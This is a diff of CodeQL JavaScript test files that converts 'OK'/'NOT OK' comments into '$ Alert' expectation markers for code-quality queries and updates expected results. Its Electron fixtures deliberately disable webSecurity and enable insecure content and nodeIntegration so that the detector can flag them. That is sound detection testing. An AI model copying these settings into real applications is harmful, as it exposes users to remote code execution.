diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/eval.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/eval.js
index bf7e46034657..e08cc174c3ba 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/eval.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/eval.js
@@ -7,7 +7,7 @@
     var used_by_eval = f();
 });
 (function(){
-    var not_used_by_eval = f();
+    var not_used_by_eval = f(); // $ Alert
     (function(){
         eval(src);
     })
@@ -16,5 +16,5 @@
     (function(){
         eval(src);
     })
-    var not_used_by_eval = f();
+    var not_used_by_eval = f(); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/externs.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/externs.js
index 133a22f49cc1..35462c23819b 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/externs.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/externs.js
@@ -2,10 +2,9 @@
  * @externs
  */
 
-// NOT OK
-var iAmUnused;
+var iAmUnused; // $ Alert
 
-// OK: used as a type
+// OK - used as a type
 /**
  * @typedef string 
  */
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/importWithoutPragma.jsx b/javascript/ql/test/query-tests/Declarations/UnusedVariable/importWithoutPragma.jsx
index 42ef9f5ff860..6caa082032f8 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/importWithoutPragma.jsx
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/importWithoutPragma.jsx
@@ -1,3 +1,3 @@
-import { h } from 'preact'; // NOT OK - not in scope of .babelrc file
+import { h } from 'preact'; // $ Alert - not in scope of .babelrc file
 
 export default (<div>Hello</div>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/importtype.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/importtype.ts
index 0fa2f18066c0..16e81a7f19de 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/importtype.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/importtype.ts
@@ -1,10 +1,10 @@
-// OK: `SomeInterface` is used in an `implements` clause
+// OK - `SomeInterface` is used in an `implements` clause
 import SomeInterface from 'somewhere';
 
 class SomeClass implements SomeInterface {
 }
 new SomeClass();
 
-import SomethingElse from 'somewhere'; // OK: SomethingElse is used in a type
+import SomethingElse from 'somewhere'; // OK - SomethingElse is used in a type
 
 type T = `Now for ${SomethingElse}`;
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/interTypes.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/interTypes.ts
index bdcd767fae80..c90e8f8abb80 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/interTypes.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/interTypes.ts
@@ -1,4 +1,4 @@
-import { Foo, Bar } from "somewhere"; // OK
+import { Foo, Bar } from "somewhere"; // $ Alert
 
 type FooBar<T> =
   T extends [infer S extends Foo, ...unknown[]]
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/multi-imports.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/multi-imports.js
index b32fa341a832..be4b41caefb9 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/multi-imports.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/multi-imports.js
@@ -1,4 +1,4 @@
-import {a, b, c, d} from 'x';
-import {ordered, alphabetically} from 'x';
+import {a, b, c, d} from 'x'; // $ Alert
+import {ordered, alphabetically} from 'x'; // $ Alert
 
 c();
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/namespaceImportAsType.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/namespaceImportAsType.ts
index 8749b3b059e4..336c20798120 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/namespaceImportAsType.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/namespaceImportAsType.ts
@@ -1,6 +1,6 @@
-import * as X from "x"; // OK
-import * as Y from "y"; // OK
-import * as Z from "z"; // NOT OK
+import * as X from "x";
+import * as Y from "y";
+import * as Z from "z"; // $ Alert
 
 function f(x: X) {}
 function g(x: Y.T) {}
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/node.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/node.js
index 70e8264f7050..5478d1d02da7 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/node.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/node.js
@@ -1,2 +1,2 @@
-// OK
+
 module.exports = class C {}
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/react-jsx.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/react-jsx.js
index ac9bf939e31e..8c43db101c4f 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/react-jsx.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/react-jsx.js
@@ -1,2 +1,2 @@
-var React = x; // OK
+var React = x;
 (<e/>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-1.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-1.js
index a68c0456cdf8..f58715a8a9b0 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-1.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-1.js
@@ -1,2 +1,2 @@
-var React = require("probably-react"); // OK
+var React = require("probably-react");
 (<e/>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-2.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-2.js
index 7137d8a44a9d..c6bcc81929e6 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-2.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-2.js
@@ -1,2 +1,2 @@
-var { React } = { React: require("probably-react") }; // OK
+var { React } = { React: require("probably-react") };
 (<e/>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-3.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-3.js
index 580680cdb682..c40e6c565daf 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-3.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-3.js
@@ -1,2 +1,2 @@
-var { React } = require("probably-react"); // OK
+var { React } = require("probably-react");
 (<e/>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-in-other-scope.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-in-other-scope.js
index 9ba55169e39d..11f6763cf3f5 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-in-other-scope.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/require-react-in-other-scope.js
@@ -1,5 +1,5 @@
 (function() {
-    var React  = require("probably-react"); // NOT OK
+    var React  = require("probably-react"); // $ Alert
 })
 (function() {
     (<e/>);
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/thisparam.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/thisparam.ts
index 07f817e287a8..5791afc6ed5c 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/thisparam.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/thisparam.ts
@@ -1,4 +1,4 @@
-import { Foo, Bar, Baz } from "somewhere"; // OK
+import { Foo, Bar, Baz } from "somewhere";
 
 export function f(this: Foo) {}
 
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeInTemplateLiteralTag.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeInTemplateLiteralTag.ts
index 8b157c18f8df..07c3bb0c50dc 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeInTemplateLiteralTag.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeInTemplateLiteralTag.ts
@@ -1,6 +1,6 @@
-import { SomeInterface } from 'somwhere1'; // OK
-import { AnotherInterface } from 'somwhere2'; // OK
-import { foo } from 'somewhere3'; // OK
+import { SomeInterface } from 'somwhere1';
+import { AnotherInterface } from 'somwhere2';
+import { foo } from 'somewhere3';
 
 let x = "world";
 
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeoftype.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeoftype.ts
index 3a4c417daec3..5c5085a37285 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeoftype.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/typeoftype.ts
@@ -1,12 +1,12 @@
-import fs = require('fs') // OK
-import http = require('http') // OK
+import fs = require('fs')
+import http = require('http')
 
 export var mockFs : typeof fs = {}
 export var mockRequest : typeof http.ServerRequest = {}
 
 export function f() {
-  let x = 4 // OK
-  let y = 5 // NOT OK
+  let x = 4
+  let y = 5 // $ Alert
   var t : typeof x = 20
   return t
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/types.d.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/types.d.ts
index 130a2a1db926..62a86545a4e0 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/types.d.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/types.d.ts
@@ -1 +1 @@
-declare class UnusedClass {} // OK
+declare class UnusedClass {}
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/underscore.js b/javascript/ql/test/query-tests/Declarations/UnusedVariable/underscore.js
index 75eade9c6f82..e25cb72b32a5 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/underscore.js
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/underscore.js
@@ -1,10 +1,10 @@
 function f(a) {
-  const [a,  // OK: used
-	     _,  // OK: starts with underscore
-	     _c, // OK: starts with underscore
-	     d,  // OK: used
-	     e,  // NOT OK
-	     f]  // NOT OK
+  const [a,  // OK - used
+	     _,  // OK - starts with underscore
+	     _c, // OK - starts with underscore
+	     d,  // OK - used
+	     e,  // $ Alert
+	     f]  // $ Alert
          = a;
   return a + d;
 }
diff --git a/javascript/ql/test/query-tests/Declarations/UnusedVariable/unusedShadowed.ts b/javascript/ql/test/query-tests/Declarations/UnusedVariable/unusedShadowed.ts
index 14ec99e02b5c..a04efbed8e1c 100644
--- a/javascript/ql/test/query-tests/Declarations/UnusedVariable/unusedShadowed.ts
+++ b/javascript/ql/test/query-tests/Declarations/UnusedVariable/unusedShadowed.ts
@@ -1,6 +1,6 @@
-import T from 'somewhere'; // NOT OK: `T` is unused (it is shadowed by another T)
-import object from 'somewhere'; // NOT OK: `object` is unused (it is "shadowed" by a keyword)
-import * as N from 'somewhere'; // OK: N is a namespace and thus not shadowed by 'interface N'.
+import T from 'somewhere'; // $ Alert - `T` is unused (it is shadowed by another T)
+import object from 'somewhere'; // $ Alert - `object` is unused (it is "shadowed" by a keyword)
+import * as N from 'somewhere'; // OK - N is a namespace and thus not shadowed by 'interface N'.
 
 {
   var x: T = {};
diff --git a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/AllowRunningInsecureContent.qlref b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/AllowRunningInsecureContent.qlref
index 35bbe5f2d4d1..2b32814badbe 100644
--- a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/AllowRunningInsecureContent.qlref
+++ b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/AllowRunningInsecureContent.qlref
@@ -1 +1,2 @@
-Electron/AllowRunningInsecureContent.ql
\ No newline at end of file
+query: Electron/AllowRunningInsecureContent.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DangerousWebPreferences.js b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DangerousWebPreferences.js
index 01828a0b9fd9..d1a878a6f846 100644
--- a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DangerousWebPreferences.js
+++ b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DangerousWebPreferences.js
@@ -3,8 +3,8 @@ const {BrowserWindow} = require('electron')
 function test() {
     var unsafe_used = {
         webPreferences: {
-            webSecurity: false,
-            allowRunningInsecureContent: true,
+            webSecurity: false, // $ Alert[js/disabling-electron-websecurity]
+            allowRunningInsecureContent: true, // $ Alert[js/enabling-electron-insecure-content]
             experimentalFeatures: true,
             enableBlinkFeatures: ['ExecCommandInJavaScript'],
             blinkFeatures: 'CSSVariables'
diff --git a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DisablingWebSecurity.qlref b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DisablingWebSecurity.qlref
index c2907c3bd577..7dcd5b81dbff 100644
--- a/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DisablingWebSecurity.qlref
+++ b/javascript/ql/test/query-tests/Electron/DangerousWebPreferencesSettings/DisablingWebSecurity.qlref
@@ -1 +1,2 @@
-Electron/DisablingWebSecurity.ql
\ No newline at end of file
+query: Electron/DisablingWebSecurity.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.expected b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.expected
index 674fd74caee2..25500de34863 100644
--- a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.expected
+++ b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.expected
@@ -1,5 +1,5 @@
 | EnablingNodeIntegration.js:5:28:11:9 | {\\n      ...       } | The `nodeIntegrationInWorker` feature has been enabled. |
 | EnablingNodeIntegration.js:5:28:11:9 | {\\n      ...       } | The `nodeIntegration` feature has been enabled. |
 | EnablingNodeIntegration.js:15:22:20:9 | {\\n      ...       } | The `nodeIntegration` feature is enabled by default. |
-| EnablingNodeIntegration.js:23:16:27:9 | { // NO ...       } | The `nodeIntegration` feature is enabled by default. |
+| EnablingNodeIntegration.js:23:16:27:9 | { // im ...       } | The `nodeIntegration` feature is enabled by default. |
 | EnablingNodeIntegration.js:49:74:49:96 | {nodeIn ... : true} | The `nodeIntegration` feature has been enabled. |
diff --git a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js
index 5e1d0e95fb43..e002845d7995 100644
--- a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js
+++ b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js
@@ -1,32 +1,32 @@
 const {BrowserWindow} = require('electron')
 
 function test() {
-    var unsafe_1 = { // NOT OK, both enabled
+    var unsafe_1 = { // both enabled
            webPreferences: {
             nodeIntegration: true,
 			nodeIntegrationInWorker: true,
             plugins: true,
             webSecurity: true,
             sandbox: true
-        }
+        } // $ Alert
     };
     
-    var options_1 = { // NOT OK, `nodeIntegrationInWorker` enabled
+    var options_1 = { // `nodeIntegrationInWorker` enabled
 	    webPreferences: {
             plugins: true,
 			nodeIntegrationInWorker: false,
             webSecurity: true,
             sandbox: true     
-        }
+        } // $ Alert
     };
     
-    var pref = { // NOT OK, implicitly enabled
+    var pref = { // implicitly enabled
             plugins: true,
             webSecurity: true,
             sandbox: true     
-        };
+        }; // $ Alert
 	
-    var options_2 = {  // NOT OK, implicitly enabled
+    var options_2 = {
             webPreferences: pref,
             show: true,
             frame: true,
@@ -34,7 +34,7 @@ function test() {
             minHeight: 300
     };
 
-    var safe_used = { // NOT OK, explicitly disabled
+    var safe_used = { // explicitly disabled
         webPreferences: {
             nodeIntegration: false,			
             plugins: true,
@@ -46,7 +46,7 @@ function test() {
     var w1 = new BrowserWindow(unsafe_1);
     var w2 = new BrowserWindow(options_1);
     var w3 = new BrowserWindow(safe_used);
-    var w4 = new BrowserWindow({width: 800, height: 600, webPreferences: {nodeIntegration: true}});	 // NOT OK, `nodeIntegration` enabled
+    var w4 = new BrowserWindow({width: 800, height: 600, webPreferences: {nodeIntegration: true}});	 // $ Alert - `nodeIntegration` enabled
     var w5 = new BrowserWindow(options_2);
     var w6 = new BrowserWindow(safe_used);
 }
diff --git a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.qlref b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.qlref
index b0315fd89ad5..d54f00166518 100644
--- a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.qlref
+++ b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.qlref
@@ -1 +1,2 @@
-Electron/EnablingNodeIntegration.ql
+query: Electron/EnablingNodeIntegration.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.expected b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.expected
index c82afd5c4cae..6ac9592a1bd2 100644
--- a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.expected
+++ b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.expected
@@ -1,3 +1,3 @@
 | tst.js:2:9:2:24 | (x & (1<<n)) > 0 | Potentially unsafe sign check of a bitwise operation. |
-| tst.js:14:13:14:25 | (x >>> 0) > 0 | Potentially unsafe sign check of a bitwise operation. |
-| tst.js:23:1:23:21 | (x & 0x ... 00) > 0 | Potentially unsafe sign check of a bitwise operation. |
+| tst.js:13:13:13:25 | (x >>> 0) > 0 | Potentially unsafe sign check of a bitwise operation. |
+| tst.js:21:1:21:21 | (x & 0x ... 00) > 0 | Potentially unsafe sign check of a bitwise operation. |
diff --git a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.qlref b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.qlref
index 07ff4053aefc..6dcd4ec7bef2 100644
--- a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.qlref
+++ b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/BitwiseSignCheck.qlref
@@ -1 +1,2 @@
-Expressions/BitwiseSignCheck.ql
\ No newline at end of file
+query: Expressions/BitwiseSignCheck.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/tst.js b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/tst.js
index 3006b9d28826..ef5d14506bc2 100644
--- a/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/BitwiseSignCheck/tst.js
@@ -1,23 +1,21 @@
 function bitIsSet(x, n) {
-	return (x & (1<<n)) > 0;
+	return (x & (1<<n)) > 0; // $ Alert
 }
 
 console.log(bitIsSet(-1, 31)); // prints 'false'
 
 (x & 3) > 0; // this is fine
 
-// OK
+
 x = -1;
 console.log((x | 0) > (0)); // prints 'false'
 
-// NOT OK
-console.log((x >>> 0) > 0); // prints 'true'
+console.log((x >>> 0) > 0); // $ Alert - prints 'true'
+
 
-// OK
 console.log((x << 16 >> 16) > 0); // prints 'false'
 
-// OK
+
 (x & 256) > 0;
 
-// NOT OK
-(x & 0x100000000) > 0;
\ No newline at end of file
+(x & 0x100000000) > 0; // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.expected b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.expected
index 371b6251b87c..ae3d98f8f143 100644
--- a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.expected
+++ b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.expected
@@ -1,2 +1,2 @@
 | tst.js:11:10:11:15 | y <= y | This expression compares $@ to itself. | tst.js:11:10:11:10 | y | y |
-| tst.js:22:1:22:35 | (functi ... n() {}) | This expression compares $@ to itself. | tst.js:22:1:22:16 | (function() { }) | (function() { }) |
+| tst.js:21:1:21:35 | (functi ... n() {}) | This expression compares $@ to itself. | tst.js:21:1:21:16 | (function() { }) | (function() { }) |
diff --git a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.qlref b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.qlref
index 37235c0e9dfd..ad4cbb7600e8 100644
--- a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.qlref
+++ b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/CompareIdenticalValues.qlref
@@ -1 +1,2 @@
-Expressions/CompareIdenticalValues.ql
\ No newline at end of file
+query: Expressions/CompareIdenticalValues.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/tst.js b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/tst.js
index e6b2568239f0..b8b1b4c85dcb 100644
--- a/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/CompareIdenticalValues/tst.js
@@ -8,38 +8,37 @@ function Rectangle(x, y, width, height) {
 Rectangle.prototype.contains = function(x, y) {
 	return (this.x <= x &&
             x < this.x+this.width) &&
-	       (y <= y &&
+	       (y <= y && // $ Alert
 	        y < this.y+this.height);
 };
 
-// OK
+
 "true" == true;
 
-// OK
+
 f() != f(23);
 
-// NOT OK
-(function() { }) == (function() {});
+(function() { }) == (function() {}); // $ Alert
+
 
- // OK
 x === y;
 
-// OK
+
 true === false;
 
-// OK
+
 function isNan(n) {
   return n !== n;
 }
 
-// OK
+
 function checkNaN(x) {
   if (x === x) // check whether x is NaN
     return false;
   return true;
 }
 
-// OK (though wrong in other ways)
+// OK - though wrong in other ways
 function same(x, y) {
   if (x === y)
     return true;
diff --git a/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/ComparisonWithNaN.qlref b/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/ComparisonWithNaN.qlref
index d8b4e6b39a53..9147587a96a3 100644
--- a/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/ComparisonWithNaN.qlref
+++ b/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/ComparisonWithNaN.qlref
@@ -1 +1,2 @@
-Expressions/ComparisonWithNaN.ql
\ No newline at end of file
+query: Expressions/ComparisonWithNaN.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/tst.js b/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/tst.js
index 0e65c179d140..a2a4feec0f54 100644
--- a/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/ComparisonWithNaN/tst.js
@@ -1,9 +1,9 @@
-x == NaN;
-x != NaN;
-x === NaN;
-NaN !== x;
-x < NaN;
-NaN === NaN;
+x == NaN; // $ Alert
+x != NaN; // $ Alert
+x === NaN; // $ Alert
+NaN !== x; // $ Alert
+x < NaN; // $ Alert
+NaN === NaN; // $ Alert
 isNaN(x);
 
 function f(x, NaN) {
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateCondition/DuplicateCondition.qlref b/javascript/ql/test/query-tests/Expressions/DuplicateCondition/DuplicateCondition.qlref
index da7e874d5026..4c5c9f527628 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateCondition/DuplicateCondition.qlref
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateCondition/DuplicateCondition.qlref
@@ -1 +1,2 @@
-Expressions/DuplicateCondition.ql
\ No newline at end of file
+query: Expressions/DuplicateCondition.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateCondition/tst.js b/javascript/ql/test/query-tests/Expressions/DuplicateCondition/tst.js
index 11a0b8c824de..cce5ff36fcfc 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateCondition/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateCondition/tst.js
@@ -1,7 +1,7 @@
 function controller(msg) {
 	if (msg == 'start')
 		start();
-	else if (msg == 'start')
+	else if (msg == 'start') // $ Alert
 		stop();
 	else
 		throw new Error("Message not understood.");
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/DuplicateProperty.qlref b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/DuplicateProperty.qlref
index 5a1301784da4..6c32a22906cd 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/DuplicateProperty.qlref
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/DuplicateProperty.qlref
@@ -1 +1,2 @@
-Expressions/DuplicateProperty.ql
+query: Expressions/DuplicateProperty.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst.js b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst.js
index 3bf5add29910..aa9e955fdd08 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst.js
@@ -1,12 +1,12 @@
 var duplicate = {
-  "key": "value",      // NOT OK: duplicated on line 5
+  "key": "value",      // $ Alert - duplicated on line 5
   " key": "value",
-  "1": "value",        // NOT OK: duplicated on line 11
-  "key": "value",      // NOT OK: duplicated on next line
-  'key': "value",      // NOT OK: duplicated on next line
-  key: "value",        // NOT OK: duplicated on next line
-  \u006bey: "value",   // NOT OK: duplicated on next line
-  "\u006bey": "value", // NOT OK: duplicated on next line
+  "1": "value",        // $ Alert - duplicated on line 11
+  "key": "value",      // $ Alert - duplicated on next line
+  'key': "value",      // $ Alert - duplicated on next line
+  key: "value",        // $ Alert - duplicated on next line
+  \u006bey: "value",   // $ Alert - duplicated on next line
+  "\u006bey": "value", // $ Alert - duplicated on next line
   "\x6bey": "value",
   1: "value"
 };
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst2.js b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst2.js
index 992f9bc5c8d7..c673055fbf71 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst2.js
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateProperty/tst2.js
@@ -3,7 +3,7 @@ var o = {
 
   getX: function() {
     return this.x;
-  },
+  }, // $ Alert
 
   setX: function(x) {
     this.x = x;
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/DuplicateSwitchCase.qlref b/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/DuplicateSwitchCase.qlref
index c63203f1a8ca..c95618b5b331 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/DuplicateSwitchCase.qlref
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/DuplicateSwitchCase.qlref
@@ -1 +1,2 @@
-Expressions/DuplicateSwitchCase.ql
\ No newline at end of file
+query: Expressions/DuplicateSwitchCase.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/tst.js b/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/tst.js
index aa635dec8bb8..8056a9f0e74d 100644
--- a/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/DuplicateSwitchCase/tst.js
@@ -3,7 +3,7 @@ function controller(msg) {
 	case 'start':
 		start();
 		break;
-	case 'start':
+	case 'start': // $ Alert
 		stop();
 		break;
 	default:
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected
index 52517a4503e6..853e781c88e2 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected
@@ -1,14 +1,14 @@
 | try.js:22:9:22:26 | x.ordinaryProperty | This expression has no effect. |
-| tst2.js:3:4:3:4 | 0 | This expression has no effect. |
+| tst2.js:2:4:2:4 | 0 | This expression has no effect. |
 | tst.js:3:1:3:2 | 23 | This expression has no effect. |
 | tst.js:5:1:5:2 | 23 | This expression has no effect. |
 | tst.js:7:6:7:7 | 23 | This expression has no effect. |
 | tst.js:9:1:9:1 | 1 | This expression has no effect. |
-| tst.js:23:1:23:1 | x | This expression has no effect. |
-| tst.js:43:5:43:9 | "foo" | This expression has no effect. |
-| tst.js:49:3:49:26 | new Err ... ou so") | This expression has no effect. |
-| tst.js:50:3:50:49 | new Syn ... o me?") | This expression has no effect. |
-| tst.js:51:3:51:36 | new Err ... age(e)) | This expression has no effect. |
-| tst.js:62:2:62:20 | o.trivialNonGetter1 | This expression has no effect. |
-| tst.js:78:24:78:24 | o | This expression has no effect. |
-| uselessfn.js:1:1:1:15 | (functi ... .");\\n}) | This expression has no effect. |
+| tst.js:22:1:22:1 | x | This expression has no effect. |
+| tst.js:42:5:42:9 | "foo" | This expression has no effect. |
+| tst.js:48:3:48:26 | new Err ... ou so") | This expression has no effect. |
+| tst.js:49:3:49:49 | new Syn ... o me?") | This expression has no effect. |
